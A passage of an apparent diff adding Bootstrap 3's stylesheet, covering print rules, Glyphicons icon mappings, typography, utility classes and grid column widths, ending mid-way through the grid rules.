box-shadow: none !important; + } + a, + a:visited { + text-decoration: underline; + } + a[href]:after { + content: " (" attr(href) ")"; + } + abbr[title]:after { + content: " (" attr(title) ")"; + } + a[href^="#"]:after, + a[href^="javascript:"]:after { + content: ""; + } + pre, + blockquote { + border: 1px solid #999; + + page-break-inside: avoid; + } + thead { + display: table-header-group; + } + tr, + img { + page-break-inside: avoid; + } + img { + max-width: 100% !important; + } + p, + h2, + h3 { + orphans: 3; + widows: 3; + } + h2, + h3 { + page-break-after: avoid; + } + .navbar { + display: none; + } + .btn > .caret, + .dropup > .btn > .caret { + border-top-color: #000 !important; + } + .label { + border: 1px solid #000; + } + .table { + border-collapse: collapse !important; + } + .table td, + .table th { + background-color: #fff !important; + } + .table-bordered th, + .table-bordered td { + border: 1px solid #ddd !important; + } +} +@font-face { + font-family: 'Glyphicons Halflings'; + + src: url('../fonts/glyphicons-halflings-regular.eot'); + src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg'); +} +.glyphicon { + position: relative; + top: 1px; + display: inline-block; + font-family: 'Glyphicons Halflings'; + font-style: normal; + font-weight: normal; + line-height: 1; + + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} +.glyphicon-asterisk:before { + content: "\002a"; +} +.glyphicon-plus:before { + content: "\002b"; +} +.glyphicon-euro:before, +.glyphicon-eur:before { + content: "\20ac"; +} +.glyphicon-minus:before { + content: "\2212"; +} +.glyphicon-cloud:before { + content: "\2601"; +} +.glyphicon-envelope:before { + content: "\2709"; +} +.glyphicon-pencil:before { + content: "\270f"; +} +.glyphicon-glass:before { + content: "\e001"; +} +.glyphicon-music:before { + content: "\e002"; +} +.glyphicon-search:before { + content: "\e003"; +} +.glyphicon-heart:before { + content: "\e005"; +} +.glyphicon-star:before { + content: "\e006"; +} +.glyphicon-star-empty:before { + content: "\e007"; +} +.glyphicon-user:before { + content: "\e008"; +} +.glyphicon-film:before { + content: "\e009"; +} +.glyphicon-th-large:before { + content: "\e010"; +} +.glyphicon-th:before { + content: "\e011"; +} +.glyphicon-th-list:before { + content: "\e012"; +} +.glyphicon-ok:before { + content: "\e013"; +} +.glyphicon-remove:before { + content: "\e014"; +} +.glyphicon-zoom-in:before { + content: "\e015"; +} +.glyphicon-zoom-out:before { + content: "\e016"; +} +.glyphicon-off:before { + content: "\e017"; +} +.glyphicon-signal:before { + content: "\e018"; +} +.glyphicon-cog:before { + content: "\e019"; +} +.glyphicon-trash:before { + content: "\e020"; +} +.glyphicon-home:before { + content: "\e021"; +} +.glyphicon-file:before { + content: "\e022"; +} +.glyphicon-time:before { + content: "\e023"; +} +.glyphicon-road:before { + content: "\e024"; +} +.glyphicon-download-alt:before { + content: "\e025"; +} +.glyphicon-download:before { + content: "\e026"; +} +.glyphicon-upload:before { + content: "\e027"; +} +.glyphicon-inbox:before { + content: "\e028"; +} +.glyphicon-play-circle:before { + content: "\e029"; +} +.glyphicon-repeat:before { + content: "\e030"; +} +.glyphicon-refresh:before { + content: "\e031"; +} +.glyphicon-list-alt:before { + content: "\e032"; +} +.glyphicon-lock:before { + content: "\e033"; +} +.glyphicon-flag:before { + content: "\e034"; +} +.glyphicon-headphones:before { + content: "\e035"; +} +.glyphicon-volume-off:before { + content: "\e036"; +} +.glyphicon-volume-down:before { + content: "\e037"; +} +.glyphicon-volume-up:before { + content: "\e038"; +} +.glyphicon-qrcode:before { + content: "\e039"; +} +.glyphicon-barcode:before { + content: "\e040"; +} +.glyphicon-tag:before { + content: "\e041"; +} +.glyphicon-tags:before { + content: "\e042"; +} +.glyphicon-book:before { + content: "\e043"; +} +.glyphicon-bookmark:before { + content: "\e044"; +} +.glyphicon-print:before { + content: "\e045"; +} +.glyphicon-camera:before { + content: "\e046"; +} +.glyphicon-font:before { + content: "\e047"; +} +.glyphicon-bold:before { + content: "\e048"; +} +.glyphicon-italic:before { + content: "\e049"; +} +.glyphicon-text-height:before { + content: "\e050"; +} +.glyphicon-text-width:before { + content: "\e051"; +} +.glyphicon-align-left:before { + content: "\e052"; +} +.glyphicon-align-center:before { + content: "\e053"; +} +.glyphicon-align-right:before { + content: "\e054"; +} +.glyphicon-align-justify:before { + content: "\e055"; +} +.glyphicon-list:before { + content: "\e056"; +} +.glyphicon-indent-left:before { + content: "\e057"; +} +.glyphicon-indent-right:before { + content: "\e058"; +} +.glyphicon-facetime-video:before { + content: "\e059"; +} +.glyphicon-picture:before { + content: "\e060"; +} +.glyphicon-map-marker:before { + content: "\e062"; +} +.glyphicon-adjust:before { + content: "\e063"; +} +.glyphicon-tint:before { + content: "\e064"; +} +.glyphicon-edit:before { + content: "\e065"; +} +.glyphicon-share:before { + content: "\e066"; +} +.glyphicon-check:before { + content: "\e067"; +} +.glyphicon-move:before { + content: "\e068"; +} +.glyphicon-step-backward:before { + content: "\e069"; +} +.glyphicon-fast-backward:before { + content: "\e070"; +} +.glyphicon-backward:before { + content: "\e071"; +} +.glyphicon-play:before { + content: "\e072"; +} +.glyphicon-pause:before { + content: "\e073"; +} +.glyphicon-stop:before { + content: "\e074"; +} +.glyphicon-forward:before { + content: "\e075"; +} +.glyphicon-fast-forward:before { + content: "\e076"; +} +.glyphicon-step-forward:before { + content: "\e077"; +} +.glyphicon-eject:before { + content: "\e078"; +} +.glyphicon-chevron-left:before { + content: "\e079"; +} +.glyphicon-chevron-right:before { + content: "\e080"; +} +.glyphicon-plus-sign:before { + content: "\e081"; +} +.glyphicon-minus-sign:before { + content: "\e082"; +} +.glyphicon-remove-sign:before { + content: "\e083"; +} +.glyphicon-ok-sign:before { + content: "\e084"; +} +.glyphicon-question-sign:before { + content: "\e085"; +} +.glyphicon-info-sign:before { + content: "\e086"; +} +.glyphicon-screenshot:before { + content: "\e087"; +} +.glyphicon-remove-circle:before { + content: "\e088"; +} +.glyphicon-ok-circle:before { + content: "\e089"; +} +.glyphicon-ban-circle:before { + content: "\e090"; +} +.glyphicon-arrow-left:before { + content: "\e091"; +} +.glyphicon-arrow-right:before { + content: "\e092"; +} +.glyphicon-arrow-up:before { + content: "\e093"; +} +.glyphicon-arrow-down:before { + content: "\e094"; +} +.glyphicon-share-alt:before { + content: "\e095"; +} +.glyphicon-resize-full:before { + content: "\e096"; +} +.glyphicon-resize-small:before { + content: "\e097"; +} +.glyphicon-exclamation-sign:before { + content: "\e101"; +} +.glyphicon-gift:before { + content: "\e102"; +} +.glyphicon-leaf:before { + content: "\e103"; +} +.glyphicon-fire:before { + content: "\e104"; +} +.glyphicon-eye-open:before { + content: "\e105"; +} +.glyphicon-eye-close:before { + content: "\e106"; +} +.glyphicon-warning-sign:before { + content: "\e107"; +} +.glyphicon-plane:before { + content: "\e108"; +} +.glyphicon-calendar:before { + content: "\e109"; +} +.glyphicon-random:before { + content: "\e110"; +} +.glyphicon-comment:before { + content: "\e111"; +} +.glyphicon-magnet:before { + content: "\e112"; +} +.glyphicon-chevron-up:before { + content: "\e113"; +} +.glyphicon-chevron-down:before { + content: "\e114"; +} +.glyphicon-retweet:before { + content: "\e115"; +} +.glyphicon-shopping-cart:before { + content: "\e116"; +} +.glyphicon-folder-close:before { + content: "\e117"; +} +.glyphicon-folder-open:before { + content: "\e118"; +} +.glyphicon-resize-vertical:before { + content: "\e119"; +} +.glyphicon-resize-horizontal:before { + content: "\e120"; +} +.glyphicon-hdd:before { + content: "\e121"; +} +.glyphicon-bullhorn:before { + content: "\e122"; +} +.glyphicon-bell:before { + content: "\e123"; +} +.glyphicon-certificate:before { + content: "\e124"; +} +.glyphicon-thumbs-up:before { + content: "\e125"; +} +.glyphicon-thumbs-down:before { + content: "\e126"; +} +.glyphicon-hand-right:before { + content: "\e127"; +} +.glyphicon-hand-left:before { + content: "\e128"; +} +.glyphicon-hand-up:before { + content: "\e129"; +} +.glyphicon-hand-down:before { + content: "\e130"; +} +.glyphicon-circle-arrow-right:before { + content: "\e131"; +} +.glyphicon-circle-arrow-left:before { + content: "\e132"; +} +.glyphicon-circle-arrow-up:before { + content: "\e133"; +} +.glyphicon-circle-arrow-down:before { + content: "\e134"; +} +.glyphicon-globe:before { + content: "\e135"; +} +.glyphicon-wrench:before { + content: "\e136"; +} +.glyphicon-tasks:before { + content: "\e137"; +} +.glyphicon-filter:before { + content: "\e138"; +} +.glyphicon-briefcase:before { + content: "\e139"; +} +.glyphicon-fullscreen:before { + content: "\e140"; +} +.glyphicon-dashboard:before { + content: "\e141"; +} +.glyphicon-paperclip:before { + content: "\e142"; +} +.glyphicon-heart-empty:before { + content: "\e143"; +} +.glyphicon-link:before { + content: "\e144"; +} +.glyphicon-phone:before { + content: "\e145"; +} +.glyphicon-pushpin:before { + content: "\e146"; +} +.glyphicon-usd:before { + content: "\e148"; +} +.glyphicon-gbp:before { + content: "\e149"; +} +.glyphicon-sort:before { + content: "\e150"; +} +.glyphicon-sort-by-alphabet:before { + content: "\e151"; +} +.glyphicon-sort-by-alphabet-alt:before { + content: "\e152"; +} +.glyphicon-sort-by-order:before { + content: "\e153"; +} +.glyphicon-sort-by-order-alt:before { + content: "\e154"; +} +.glyphicon-sort-by-attributes:before { + content: "\e155"; +} +.glyphicon-sort-by-attributes-alt:before { + content: "\e156"; +} +.glyphicon-unchecked:before { + content: "\e157"; +} +.glyphicon-expand:before { + content: "\e158"; +} +.glyphicon-collapse-down:before { + content: "\e159"; +} +.glyphicon-collapse-up:before { + content: "\e160"; +} +.glyphicon-log-in:before { + content: "\e161"; +} +.glyphicon-flash:before { + content: "\e162"; +} +.glyphicon-log-out:before { + content: "\e163"; +} +.glyphicon-new-window:before { + content: "\e164"; +} +.glyphicon-record:before { + content: "\e165"; +} +.glyphicon-save:before { + content: "\e166"; +} +.glyphicon-open:before { + content: "\e167"; +} +.glyphicon-saved:before { + content: "\e168"; +} +.glyphicon-import:before { + content: "\e169"; +} +.glyphicon-export:before { + content: "\e170"; +} +.glyphicon-send:before { + content: "\e171"; +} +.glyphicon-floppy-disk:before { + content: "\e172"; +} +.glyphicon-floppy-saved:before { + content: "\e173"; +} +.glyphicon-floppy-remove:before { + content: "\e174"; +} +.glyphicon-floppy-save:before { + content: "\e175"; +} +.glyphicon-floppy-open:before { + content: "\e176"; +} +.glyphicon-credit-card:before { + content: "\e177"; +} +.glyphicon-transfer:before { + content: "\e178"; +} +.glyphicon-cutlery:before { + content: "\e179"; +} +.glyphicon-header:before { + content: "\e180"; +} +.glyphicon-compressed:before { + content: "\e181"; +} +.glyphicon-earphone:before { + content: "\e182"; +} +.glyphicon-phone-alt:before { + content: "\e183"; +} +.glyphicon-tower:before { + content: "\e184"; +} +.glyphicon-stats:before { + content: "\e185"; +} +.glyphicon-sd-video:before { + content: "\e186"; +} +.glyphicon-hd-video:before { + content: "\e187"; +} +.glyphicon-subtitles:before { + content: "\e188"; +} +.glyphicon-sound-stereo:before { + content: "\e189"; +} +.glyphicon-sound-dolby:before { + content: "\e190"; +} +.glyphicon-sound-5-1:before { + content: "\e191"; +} +.glyphicon-sound-6-1:before { + content: "\e192"; +} +.glyphicon-sound-7-1:before { + content: "\e193"; +} +.glyphicon-copyright-mark:before { + content: "\e194"; +} +.glyphicon-registration-mark:before { + content: "\e195"; +} +.glyphicon-cloud-download:before { + content: "\e197"; +} +.glyphicon-cloud-upload:before { + content: "\e198"; +} +.glyphicon-tree-conifer:before { + content: "\e199"; +} +.glyphicon-tree-deciduous:before { + content: "\e200"; +} +.glyphicon-cd:before { + content: "\e201"; +} +.glyphicon-save-file:before { + content: "\e202"; +} +.glyphicon-open-file:before { + content: "\e203"; +} +.glyphicon-level-up:before { + content: "\e204"; +} +.glyphicon-copy:before { + content: "\e205"; +} +.glyphicon-paste:before { + content: "\e206"; +} +.glyphicon-alert:before { + content: "\e209"; +} +.glyphicon-equalizer:before { + content: "\e210"; +} +.glyphicon-king:before { + content: "\e211"; +} +.glyphicon-queen:before { + content: "\e212"; +} +.glyphicon-pawn:before { + content: "\e213"; +} +.glyphicon-bishop:before { + content: "\e214"; +} +.glyphicon-knight:before { + content: "\e215"; +} +.glyphicon-baby-formula:before { + content: "\e216"; +} +.glyphicon-tent:before { + content: "\26fa"; +} +.glyphicon-blackboard:before { + content: "\e218"; +} +.glyphicon-bed:before { + content: "\e219"; +} +.glyphicon-apple:before { + content: "\f8ff"; +} +.glyphicon-erase:before { + content: "\e221"; +} +.glyphicon-hourglass:before { + content: "\231b"; +} +.glyphicon-lamp:before { + content: "\e223"; +} +.glyphicon-duplicate:before { + content: "\e224"; +} +.glyphicon-piggy-bank:before { + content: "\e225"; +} +.glyphicon-scissors:before { + content: "\e226"; +} +.glyphicon-bitcoin:before { + content: "\e227"; +} +.glyphicon-btc:before { + content: "\e227"; +} +.glyphicon-xbt:before { + content: "\e227"; +} +.glyphicon-yen:before { + content: "\00a5"; +} +.glyphicon-jpy:before { + content: "\00a5"; +} +.glyphicon-ruble:before { + content: "\20bd"; +} +.glyphicon-rub:before { + content: "\20bd"; +} +.glyphicon-scale:before { + content: "\e230"; +} +.glyphicon-ice-lolly:before { + content: "\e231"; +} +.glyphicon-ice-lolly-tasted:before { + content: "\e232"; +} +.glyphicon-education:before { + content: "\e233"; +} +.glyphicon-option-horizontal:before { + content: "\e234"; +} +.glyphicon-option-vertical:before { + content: "\e235"; +} +.glyphicon-menu-hamburger:before { + content: "\e236"; +} +.glyphicon-modal-window:before { + content: "\e237"; +} +.glyphicon-oil:before { + content: "\e238"; +} +.glyphicon-grain:before { + content: "\e239"; +} +.glyphicon-sunglasses:before { + content: "\e240"; +} +.glyphicon-text-size:before { + content: "\e241"; +} +.glyphicon-text-color:before { + content: "\e242"; +} +.glyphicon-text-background:before { + content: "\e243"; +} +.glyphicon-object-align-top:before { + content: "\e244"; +} +.glyphicon-object-align-bottom:before { + content: "\e245"; +} +.glyphicon-object-align-horizontal:before { + content: "\e246"; +} +.glyphicon-object-align-left:before { + content: "\e247"; +} +.glyphicon-object-align-vertical:before { + content: "\e248"; +} +.glyphicon-object-align-right:before { + content: "\e249"; +} +.glyphicon-triangle-right:before { + content: "\e250"; +} +.glyphicon-triangle-left:before { + content: "\e251"; +} +.glyphicon-triangle-bottom:before { + content: "\e252"; +} +.glyphicon-triangle-top:before { + content: "\e253"; +} +.glyphicon-console:before { + content: "\e254"; +} +.glyphicon-superscript:before { + content: "\e255"; +} +.glyphicon-subscript:before { + content: "\e256"; +} +.glyphicon-menu-left:before { + content: "\e257"; +} +.glyphicon-menu-right:before { + content: "\e258"; +} +.glyphicon-menu-down:before { + content: "\e259"; +} +.glyphicon-menu-up:before { + content: "\e260"; +} +* { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +*:before, +*:after { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +html { + font-size: 10px; + + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); +} +body { + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 14px; + line-height: 1.42857143; + color: #333; + background-color: #fff; +} +input, +button, +select, +textarea { + font-family: inherit; + font-size: inherit; + line-height: inherit; +} +a { + color: #337ab7; + text-decoration: none; +} +a:hover, +a:focus { + color: #23527c; + text-decoration: underline; +} +a:focus { + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +figure { + margin: 0; +} +img { + vertical-align: middle; +} +.img-responsive, +.thumbnail > img, +.thumbnail a > img, +.carousel-inner > .item > img, +.carousel-inner > .item > a > img { + display: block; + max-width: 100%; + height: auto; +} +.img-rounded { + border-radius: 6px; +} +.img-thumbnail { + display: inline-block; + max-width: 100%; + height: auto; + padding: 4px; + line-height: 1.42857143; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 4px; + -webkit-transition: all .2s ease-in-out; + -o-transition: all .2s ease-in-out; + transition: all .2s ease-in-out; +} +.img-circle { + border-radius: 50%; +} +hr { + margin-top: 20px; + margin-bottom: 20px; + border: 0; + border-top: 1px solid #eee; +} +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0, 0, 0, 0); + border: 0; +} +.sr-only-focusable:active, +.sr-only-focusable:focus { + position: static; + width: auto; + height: auto; + margin: 0; + overflow: visible; + clip: auto; +} +[role="button"] { + cursor: pointer; +} +h1, +h2, +h3, +h4, +h5, +h6, +.h1, +.h2, +.h3, +.h4, +.h5, +.h6 { + font-family: inherit; + font-weight: 500; + line-height: 1.1; + color: inherit; +} +h1 small, +h2 small, +h3 small, +h4 small, +h5 small, +h6 small, +.h1 small, +.h2 small, +.h3 small, +.h4 small, +.h5 small, +.h6 small, +h1 .small, +h2 .small, +h3 .small, +h4 .small, +h5 .small, +h6 .small, +.h1 .small, +.h2 .small, +.h3 .small, +.h4 .small, +.h5 .small, +.h6 .small { + font-weight: normal; + line-height: 1; + color: #777; +} +h1, +.h1, +h2, +.h2, +h3, +.h3 { + margin-top: 20px; + margin-bottom: 10px; +} +h1 small, +.h1 small, +h2 small, +.h2 small, +h3 small, +.h3 small, +h1 .small, +.h1 .small, +h2 .small, +.h2 .small, +h3 .small, +.h3 .small { + font-size: 65%; +} +h4, +.h4, +h5, +.h5, +h6, +.h6 { + margin-top: 10px; + margin-bottom: 10px; +} +h4 small, +.h4 small, +h5 small, +.h5 small, +h6 small, +.h6 small, +h4 .small, +.h4 .small, +h5 .small, +.h5 .small, +h6 .small, +.h6 .small { + font-size: 75%; +} +h1, +.h1 { + font-size: 36px; +} +h2, +.h2 { + font-size: 30px; +} +h3, +.h3 { + font-size: 24px; +} +h4, +.h4 { + font-size: 18px; +} +h5, +.h5 { + font-size: 14px; +} +h6, +.h6 { + font-size: 12px; +} +p { + margin: 0 0 10px; +} +.lead { + margin-bottom: 20px; + font-size: 16px; + font-weight: 300; + line-height: 1.4; +} +@media (min-width: 768px) { + .lead { + font-size: 21px; + } +} +small, +.small { + font-size: 85%; +} +mark, +.mark { + padding: .2em; + background-color: #fcf8e3; +} +.text-left { + text-align: left; +} +.text-right { + text-align: right; +} +.text-center { + text-align: center; +} +.text-justify { + text-align: justify; +} +.text-nowrap { + white-space: nowrap; +} +.text-lowercase { + text-transform: lowercase; +} +.text-uppercase { + text-transform: uppercase; +} +.text-capitalize { + text-transform: capitalize; +} +.text-muted { + color: #777; +} +.text-primary { + color: #337ab7; +} +a.text-primary:hover, +a.text-primary:focus { + color: #286090; +} +.text-success { + color: #3c763d; +} +a.text-success:hover, +a.text-success:focus { + color: #2b542c; +} +.text-info { + color: #31708f; +} +a.text-info:hover, +a.text-info:focus { + color: #245269; +} +.text-warning { + color: #8a6d3b; +} +a.text-warning:hover, +a.text-warning:focus { + color: #66512c; +} +.text-danger { + color: #a94442; +} +a.text-danger:hover, +a.text-danger:focus { + color: #843534; +} +.bg-primary { + color: #fff; + background-color: #337ab7; +} +a.bg-primary:hover, +a.bg-primary:focus { + background-color: #286090; +} +.bg-success { + background-color: #dff0d8; +} +a.bg-success:hover, +a.bg-success:focus { + background-color: #c1e2b3; +} +.bg-info { + background-color: #d9edf7; +} +a.bg-info:hover, +a.bg-info:focus { + background-color: #afd9ee; +} +.bg-warning { + background-color: #fcf8e3; +} +a.bg-warning:hover, +a.bg-warning:focus { + background-color: #f7ecb5; +} +.bg-danger { + background-color: #f2dede; +} +a.bg-danger:hover, +a.bg-danger:focus { + background-color: #e4b9b9; +} +.page-header { + padding-bottom: 9px; + margin: 40px 0 20px; + border-bottom: 1px solid #eee; +} +ul, +ol { + margin-top: 0; + margin-bottom: 10px; +} +ul ul, +ol ul, +ul ol, +ol ol { + margin-bottom: 0; +} +.list-unstyled { + padding-left: 0; + list-style: none; +} +.list-inline { + padding-left: 0; + margin-left: -5px; + list-style: none; +} +.list-inline > li { + display: inline-block; + padding-right: 5px; + padding-left: 5px; +} +dl { + margin-top: 0; + margin-bottom: 20px; +} +dt, +dd { + line-height: 1.42857143; +} +dt { + font-weight: bold; +} +dd { + margin-left: 0; +} +@media (min-width: 768px) { + .dl-horizontal dt { + float: left; + width: 160px; + overflow: hidden; + clear: left; + text-align: right; + text-overflow: ellipsis; + white-space: nowrap; + } + .dl-horizontal dd { + margin-left: 180px; + } +} +abbr[title], +abbr[data-original-title] { + cursor: help; + border-bottom: 1px dotted #777; +} +.initialism { + font-size: 90%; + text-transform: uppercase; +} +blockquote { + padding: 10px 20px; + margin: 0 0 20px; + font-size: 17.5px; + border-left: 5px solid #eee; +} +blockquote p:last-child, +blockquote ul:last-child, +blockquote ol:last-child { + margin-bottom: 0; +} +blockquote footer, +blockquote small, +blockquote .small { + display: block; + font-size: 80%; + line-height: 1.42857143; + color: #777; +} +blockquote footer:before, +blockquote small:before, +blockquote .small:before { + content: '\2014 \00A0'; +} +.blockquote-reverse, +blockquote.pull-right { + padding-right: 15px; + padding-left: 0; + text-align: right; + border-right: 5px solid #eee; + border-left: 0; +} +.blockquote-reverse footer:before, +blockquote.pull-right footer:before, +.blockquote-reverse small:before, +blockquote.pull-right small:before, +.blockquote-reverse .small:before, +blockquote.pull-right .small:before { + content: ''; +} +.blockquote-reverse footer:after, +blockquote.pull-right footer:after, +.blockquote-reverse small:after, +blockquote.pull-right small:after, +.blockquote-reverse .small:after, +blockquote.pull-right .small:after { + content: '\00A0 \2014'; +} +address { + margin-bottom: 20px; + font-style: normal; + line-height: 1.42857143; +} +code, +kbd, +pre, +samp { + font-family: Menlo, Monaco, Consolas, "Courier New", monospace; +} +code { + padding: 2px 4px; + font-size: 90%; + color: #c7254e; + background-color: #f9f2f4; + border-radius: 4px; +} +kbd { + padding: 2px 4px; + font-size: 90%; + color: #fff; + background-color: #333; + border-radius: 3px; + -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); + box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); +} +kbd kbd { + padding: 0; + font-size: 100%; + font-weight: bold; + -webkit-box-shadow: none; + box-shadow: none; +} +pre { + display: block; + padding: 9.5px; + margin: 0 0 10px; + font-size: 13px; + line-height: 1.42857143; + color: #333; + word-break: break-all; + word-wrap: break-word; + background-color: #f5f5f5; + border: 1px solid #ccc; + border-radius: 4px; +} +pre code { + padding: 0; + font-size: inherit; + color: inherit; + white-space: pre-wrap; + background-color: transparent; + border-radius: 0; +} +.pre-scrollable { + max-height: 340px; + overflow-y: scroll; +} +.container { + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} +@media (min-width: 768px) { + .container { + width: 750px; + } +} +@media (min-width: 992px) { + .container { + width: 970px; + } +} +@media (min-width: 1200px) { + .container { + width: 1170px; + } +} +.container-fluid { + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} +.row { + margin-right: -15px; + margin-left: -15px; +} +.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 { + position: relative; + min-height: 1px; + padding-right: 15px; + padding-left: 15px; +} +.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 { + float: left; +} +.col-xs-12 { + width: 100%; +} +.col-xs-11 { + width: 91.66666667%; +} +.col-xs-10 { + width: 83.33333333%; +} +.col-xs-9 { + width: 75%; +} +.col-xs-8 { + width: 66.66666667%; +} +.col-xs-7 { + width: 58.33333333%; +} +.col-xs-6 { + width: 50%; +} +.col-xs-5 { + width: 41.66666667%; +} +.col-xs-4 { + width: 33.33333333%; +} +.col-xs-3 { + width: 25%; +} +.col-xs-2 { + width: 16.66666667%; +} +.col-xs-1 { + width: 8.33333333%; +} +.col-xs-pull-12 { + right: 100%; +} +.col-xs-pull-11 { + right: 91.66666667%; +} +.col-xs-pull-10 { + right: 83.33333333%; +} +.col-xs-pull-9 { + right: 75%; +} +.col-xs-pull-8 { + right: 66.66666667%; +} +.col-xs-pull-7 { + right: 58.33333333%; +} +.col-xs-pull-6 { + right: 50%; +} +.col-xs-pull-5 { + right: 41.66666667%; +} +.col-xs-pull-4 { + right: 33.33333333%; +} +.col-xs-pull-3 { + right: 25%; +} +.col-xs-pull-2 { + right: 16.66666667%; +} +.col-xs-pull-1 { + right: 8.33333333%; +} +.col-xs-pull-0 { + right: auto; +} +.col-xs-push-12 { + left: 100%; +} +.col-xs-push-11 { + left: 91.66666667%; +} +.col-xs-push-10 { + left: 83.33333333%; +} +.col-xs-push-9 { + left: 75%; +} +.col-xs-push-8 { + left: 66.66666667%; +} +.col-xs-push-7 { + left: 58.33333333%; +} +.col-xs-push-6 { + left: 50%; +} +.col-xs-push-5 { + left: 41.66666667%; +} +.col-xs-push-4 { + left: 33.33333333%; +} +.col-xs-push-3 { + left: 25%; +} +.col-xs-push-2 { + left: 16.66666667%; +} +.col-xs-push-1 { + left: 8.33333333%; +} +.col-xs-push-0 { + left: auto; +} +.col-xs-offset-12 { + margin-left: 100%; +} +.col-xs-offset-11 { + margin-left: 91.66666667%; +} +.col-xs-offset-10 { + margin-left: 83.33333333%; +} +.col-xs-offset-9 { + margin-left: 75%; +} +.col-xs-offset-8 { + margin-left: 66.66666667%; +} +.col-xs-offset-7 { + margin-left: 58.33333333%; +} +.col-xs-offset-6 { + margin-left: 50%; +} +.col-xs-offset-5 { + margin-left: 41.66666667%; +} +.col-xs-offset-4 { + margin-left: 33.33333333%; +} +.col-xs-offset-3 { + margin-left: 25%; +} +.col-xs-offset-2 { + margin-left: 16.66666667%; +} +.col-xs-offset-1 { + margin-left: 8.33333333%; +} +.col-xs-offset-0 { + margin-left: 0; +} +@media (min-width: 768px) { + .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 { + float: left; + } + .col-sm-12 { + width: 100%; + } + .col-sm-11 { + width: 91.66666667%; + } + .col-sm-10 { + width: 83.33333333%; + } + .col-sm-9 { + width: 75%; + } + .col-sm-8 { + width: 66.66666667%; + } + .col-sm-7 { + width: 58.33333333%; + } + .col-sm-6 { + width: 50%; + } + .col-sm-5 { + width: 41.66666667%; + } + .col-sm-4 { + width: 33.33333333%; + } + .col-sm-3 { + width: 25%; + } + .col-sm-2 { + width: 16.66666667%; + } + .col-sm-1 { + width: 8.33333333%; + } + .col-sm-pull-12 { + right: 100%; + } + .col-sm-pull-11 { + right: 91.66666667%; + } + .col-sm-pull-10 { + right: 83.33333333%; + } + .col-sm-pull-9 { + right: 75%; + } + .col-sm-pull-8 { + right: 66.66666667%; + } + .col-sm-pull-7 { + right: 58.33333333%; + } + .col-sm-pull-6 { + right: 50%; + } + .col-sm-pull-5 { + right: 41.66666667%; + } + .col-sm-pull-4 { + right: 33.33333333%; + } + .col-sm-pull-3 { + right: 25%; + } + .col-sm-pull-2 { + right: 16.66666667%; + } + .col-sm-pull-1 { + right: 8.33333333%; + } + .col-sm-pull-0 { + right: auto; + } + .col-sm-push-12 { + left: 100%; + } + .col-sm-push-11 { + left: 91.66666667%; + } + .col-sm-push-10 { + left: 83.33333333%; + } + .col-sm-push-9 { + left: 75%; + } + .col-sm-push-8 { + left: 66.66666667%; + } + .col-sm-push-7 { + left: 58.33333333%; + } + .col-sm-push-6 { + left: 50%; + } + .col-sm-push-5 { + left: 41.66666667%; + } + .col-sm-push-4 { + left: 33.33333333%; + } + .col-sm-push-3 { + left: 25%; + } + .col-sm-push-2 { + left: 16.66666667%; + } + .col-sm-push-1 { + left: 8.33333333%; + } + .col-sm-push-0 { + left: auto; + } + .col-sm-offset-12 { + margin-left: 100%; + } + .col-sm-offset-11 { + margin-left: 91.66666667%; + } + .col-sm-offset-10 { + margin-left: 83.33333333%; + } + .col-sm-offset-9 { + margin-left: 75%; + } + .col-sm-offset-8 { + margin-left: 66.66666667%; + } + .col-sm-offset-7 { + margin-left: 58.33333333%; + } + .col-sm-offset-6 { + margin-left: 50%; + } + .col-sm-offset-5 { + margin-left: 41.66666667%; + } + .col-sm-offset-4 { + margin-left: 33.33333333%; + } + .col-sm-offset-3 { + margin-left: 25%; + } + .col-sm-offset-2 { + margin-left: 16.66666667%; + } + .col-sm-offset-1 { + margin-left: 8.33333333%; + } + .col-sm-offset-0 { + margin-left: 0; + } +} +@media (min-width: 992px) { + .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 { + float: left; + } + .col-md-12 { + width: 100%; + } + .col-md-11 { + width: 91.66666667%; + } + .col-md-10 { + width: 83.33333333%; + } + .col-md-9 { + width: 75%; + } + .col-md-8 { + width: 66.66666667%; + } + .col-md-7 { + width: 58.33333333%; + } + .col-md-6 { + width: 50%; + } + .col-md-5 { + width: 41.66666667%; + } + .col-md-4 { + width: 33.33333333%; + } + .col-md-3 { 